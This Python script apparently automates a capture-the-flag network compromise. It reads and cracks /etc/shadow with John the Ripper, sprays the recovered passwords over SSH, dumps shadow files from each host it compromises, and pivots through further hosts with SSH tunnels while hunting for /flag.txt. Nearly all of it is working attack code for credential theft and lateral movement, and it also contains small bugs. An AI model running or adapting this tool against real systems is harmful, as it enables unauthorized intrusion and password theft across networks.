import os
import subprocess
import sys
import threading
import queue
import time
import paramiko
import socketserver
import select

if sys.version_info < (3, 0):
    print("Must be run with python3")
    exit()

##### Globals
COMPUTER = {}
IP = {}

CRED = set()
CRACKABLE = []

Computer_Number = 0
Port_Number = 4444

flag_not_found = True

Q = queue.Queue()
COMPUTER[0] = {"reachable":[],
               "reached":[],
               "access":None,
               "credentials":None,
               "root":False
              }

##### Helper functions
def attempt_logon(hostname, port, username, password, command=None):
    try:
        ssh_client = paramiko.SSHClient()
        ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        ssh_client.connect(hostname=hostname,port=port,username=username,password=password)
        if command == None:
            return (True, None)
        else:
            stdin,stdout,stderr=ssh_client.exec_command(command)
            if stderr.readlines() == []:
                return (True, stdout)
            else:
                return (False, None)
    except Exception as e:
        return (False, None)
    finally:
        ssh_client.close()

def load_servers(fileContent):
    try:
        servers = []
        for line in fileContent.split("\n"):
            try:
                ip, port = line.split(":")
                servers.append([ip, port])
            except:
                pass
        return servers
    except Exception as e:
        print("Error parsing servers.txt:" + str(e))

def load_shadow(fileContent):
    load_shadow.filenumber
    try:
        with open('shadows/%d' % load_shadow.filenumber,'w+') as file:
            file.write(fileContent)
            CRACKABLE.append(load_shadow.filenumber)
            COMPUTER[0]["root"] = True
    except Exception as e:
        print("Error writing to directory: "+str(e))
    load_shadow.filenumber += 1
load_shadow.filenumber = 0

##### Thread Classes
class john(threading.Thread):
    def __init__(self):
        threading.Thread.__init__(self)
        global CRACKABLE
        global CRED
    def timeout(self):
        self.running = False
    def run(self):
        self.running = True
        while self.running:
            if len(CRACKABLE) != 0:
                try:
                    file = str(CRACKABLE.pop())
                    p = subprocess.Popen(["john", "shadows/"+file, "--wordlist=./rockyou.txt", "--pot=./john.pot"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                    (output, err) = p.communicate()
                    p.stdout.close()
                    p.stderr.close()
                    p = subprocess.Popen(["john", "shadows/"+file, "--show", "--pot=./john.pot"], stdout=subprocess.PIPE)
                    (output, err) = p.communicate()
                    p.stdout.close()

                    for line in output.decode("utf-8").split("\n"):
                        try:
                            CRED.add((line.split(":")[0], line.split(":")[1]))
                            print("New cred : %s %s" % (line.split(":")[0], line.split(":")[1]))
                        except:
                            pass
                    old_cred = list(CRED)
                    for username, p in old_cred:
                        for u, password in old_cred:
                            CRED.add((username, password))
                    time.sleep(.25)
                except Exception as e:
                    print(e)
                    pass
class cred(threading.Thread):
    def __init__(self):
        threading.Thread.__init__(self)
        global CRACKABLE
        global CRED
        global COMPUTER
    def timeout(self):
        self.running = False
    def run(self):
        self.running = True
        num_creds = 0
        while self.running:
            if len(CRED) == num_creds:
                time.sleep(.25)
                continue
            num_creds = len(CRED)
            for Comp_Num in COMPUTER.keys():
                if COMPUTER[Comp_Num]["root"] == False and COMPUTER[Comp_Num]["access"] != None:
                    for q in IP.keys():
                        if IP[q] == Comp_Num:
                            print("Trying to gain root for %s" % q)
                            break
                    for username, password in CRED:
                        success, output = attempt_logon(COMPUTER[Comp_Num]["access"][0], COMPUTER[Comp_Num]["access"][1], username, password, "cat /etc/shadow")
                        if success:
                            COMPUTER[Comp_Num]["root"] == True
                            load_shadow(output.read().decode())
                            print("Accessed root for %s" % q)
                            success, output = attempt_logon(tunn_ip, tunn_port, username, password, "cat /flag.txt")
                            if success:
                                print("FLAG START  ------")
                                print(output.read().decode("utf-8"))
                                print("FLAG END  --------")
                                flag_not_found = False

flag_not_found = False

class tunn(threading.Thread):
    def __init__(self, local_port, server_hostname, server_port, remote_hostname, remote_port, username, password):
        threading.Thread.__init__(self)
        global CRACKABLE
        global CRED
        self.local_port = local_port
        self.server_hostname = server_hostname
        self.server_port = server_port
        self.remote_hostname = remote_hostname
        self.remote_port = remote_port
        self.username = username
        self.password = password
    def timeout(self):
        self.running = False
    def run(self):
        local_port = self.local_port
        server_hostname = self.server_hostname
        server_port = self.server_port
        remote_hostname = self.remote_hostname
        remote_port = self.remote_port
        username = self.username
        password = self.password
        running = True
        def verbose(s):
            if False:
                print(s)
        try:
            client = paramiko.SSHClient()
            client.load_system_host_keys()
            client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

            client.connect(
                server_hostname,
                server_port,
                username=username,
                password=password
            )

            class Handler(socketserver.BaseRequestHandler):
                def handle(self):
                    try:
                        chan = self.ssh_transport.open_channel(
                            "direct-tcpip",
                            (self.chain_host, self.chain_port),
                            self.request.getpeername(),
                        )
                    except Exception as e:
                        verbose(
                            "Incoming request to %s:%d failed: %s"
                            % (self.chain_host, self.chain_port, repr(e))
                        )
                        return
                    if chan is None:
                        verbose(
                            "Incoming request to %s:%d was rejected by the SSH server."
                            % (self.chain_host, self.chain_port)
                        )
                        return

                    verbose(
                        "Connected!  Tunnel open %r -> %r -> %r"
                        % (
                            self.request.getpeername(),
                            chan.getpeername(),
                            (self.chain_host, self.chain_port),
                        )
                    )
                    while True:
                        r, w, x = select.select([self.request, chan], [], [])
                        if self.request in r:
                            data = self.request.recv(1024)
                            if len(data) == 0:
                                break
                            chan.send(data)
                        if chan in r:
                            data = chan.recv(1024)
                            if len(data) == 0:
                                break
                            self.request.send(data)

                    peername = self.request.getpeername()
                    chan.close()
                    self.request.close()
                    verbose("Tunnel closed from %r" % (peername,))

            class SubHander(Handler):
                chain_host = remote_hostname
                chain_port = remote_port
                ssh_transport = client.get_transport()

            class ForwardServer(socketserver.ThreadingTCPServer):
                daemon_threads = True
                allow_reuse_address = True

            ForwardServer(("", local_port), SubHander).serve_forever()
        except Exception as e:
            print("AH: "+str(e))

##### Init Main
# Create shadow directory
try:
    os.mkdir("shadows")
except:
    pass
# Get ips of host
try:
    (output, err) = subprocess.Popen(["hostname -I"], stdout=subprocess.PIPE, shell=True).communicate()
    for ip in output[:-2].decode('utf-8').split(" "):
        IP[ip] = 0
except Exception as e:
    print("Error determining ip address: "+str(e))
# Read /root/servers.txt
try:
    (output, err) = subprocess.Popen(["cat /root/servers.txt"], stdout=subprocess.PIPE, shell=True).communicate()
    for ip, port in load_servers(output.decode("utf-8")):
        COMPUTER[0]["reachable"].append((ip, port, ip, port))
    Q.put(0)
except Exception as e:
    print("Error opening servers.txt: "+str(e))
# Read /etc/shadow
try:
    with open('/etc/shadow') as file:
        load_shadow(file.read())
        COMPUTER[0]["root"] == True
except exception as e:
    print("Cannot open /etc/shadow: %s"+str(e))
    sys.exit(1)
# Read /flag.txt
try:
    with open('/flag.txt') as file:
        print("FLAG START ------")
        for line in file.readlines():
            print(line)
        print("FLAG END --------")
        flag_not_found = False
except:
    pass

##### Init Threads
John_Thread = john()
Cred_Thread = cred()

Cred_Thread.daemon = True
John_Thread.daemon = True

John_Thread.start()
Cred_Thread.start()


Tunn_Threads = []

##### Main
while Q.qsize() != 0:
    q = Q.get()
    Computer = COMPUTER[q]
    for ip, port, tunn_ip, tunn_port in Computer["reachable"]:
        if ip in IP.keys():
            if ip not in Computer["reached"]:
                Computer["reached"].append(ip)
            continue
        print("Try : "+ip)
        old_cred = list(CRED)
        for username, password in old_cred:
            if attempt_logon(tunn_ip, tunn_port, username, password)[0]:
                remote = {
                    "reachable":[],
                    "reached":[],
                    "access": (tunn_ip, tunn_port),
                    "credentials":None,
                    "root":False
                }
                print("Credentials: %s:%s via %s:%s : %s %s" % (ip, port, tunn_ip, tunn_port, username, password))
                for new_ip in attempt_logon(tunn_ip, tunn_port, username, password, "hostname -I")[1].read()[:-2].decode('utf-8').split(" "):
                    IP[new_ip] = Computer_Number

                try:
                    for new_ip, new_port in load_servers(attempt_logon(tunn_ip, tunn_port, username, password, "cat servers.txt")[1].read().decode("utf-8")):
                        new_ip = str(new_ip)
                        new_port = int(new_port)
                        Port_Number += 1
                        print("Create tunnel 127.0.0.1:%s to %s:%s via %s:%s"% (Port_Number, new_ip, new_port, tunn_ip, tunn_port))
                        remote["reachable"].append((new_ip, new_port, "127.0.0.1", Port_Number))
                        T = tunn(Port_Number, tunn_ip, tunn_port, new_ip, new_port, username, password)
                        T.daemon = True
                        T.start()
                        Tunn_Threads.append(T)
                except Exception as e:
                    pass


                # Initialize credenetials
                remote["credentials"] = (username, password)

                # Check for root
                success, output = attempt_logon(tunn_ip, tunn_port, username, password, "cat /etc/shadow")
                if success:
                    remote["root"] = True
                    print("Gained root : "+ip)
                    load_shadow(output.read().decode("utf-8"))

                success, output = attempt_logon(tunn_ip, tunn_port, username, password, "cat /flag.txt")
                if success:
                    print("FLAG START  ------")
                    print(output.read().decode("utf-8"))
                    print("FLAG END  --------")
                    flag_not_found = False
                Computer_Number += 1
                Q.put(Computer_Number)
                COMPUTER[Computer_Number] = remote

                break

    if(len(Computer["reached"]) != len(Computer["reachable"])):
        Q.put(q)
    time.sleep(.25)

while flag_not_found:
    time.sleep(.1)

print("Done")
sys.exit()
#### End
John_Thread.timeout()
Cred_Thread.timeout()

John_Thread.join()
Cred_Thread.join()

for T in Tunn_Threads:
    T.join()